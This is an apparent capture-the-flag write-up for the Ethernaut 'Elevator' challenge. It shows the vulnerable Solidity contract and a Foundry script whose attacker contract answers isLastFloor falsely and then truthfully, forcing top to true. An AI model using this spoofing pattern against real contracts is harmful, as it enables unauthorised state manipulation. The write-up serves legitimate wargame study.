Contents

Elevator

Contents

in this challenge our goal is to set top = True

Challenge Info
  • Platform: Ethernaut
  • Challenge: Elevator
  • Category: Blockchain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../src/Elevator.sol";
import "forge-std/Script.sol";
import "forge-std/console.sol";


contract player {
  Elevator elv ;
  bool public isCalled;

  constructor(Elevator _elv){
    elv = _elv;
    isCalled = false;
  }
  function isLastFloor(uint256) external returns (bool) {
    if (!isCalled) {
      isCalled = true;
      return false;
    }
    return true;
  }
  function pwn() external {
    elv.goTo(5);
  }

}



contract Solver is Script {
  Elevator instance = Elevator(0x10D1844cAe2C522EF51396873a55e14fEE689C60);
  function run() external {
     vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
     player p = new player(instance);
     p.pwn();
     console.log(instance.top());
  }

}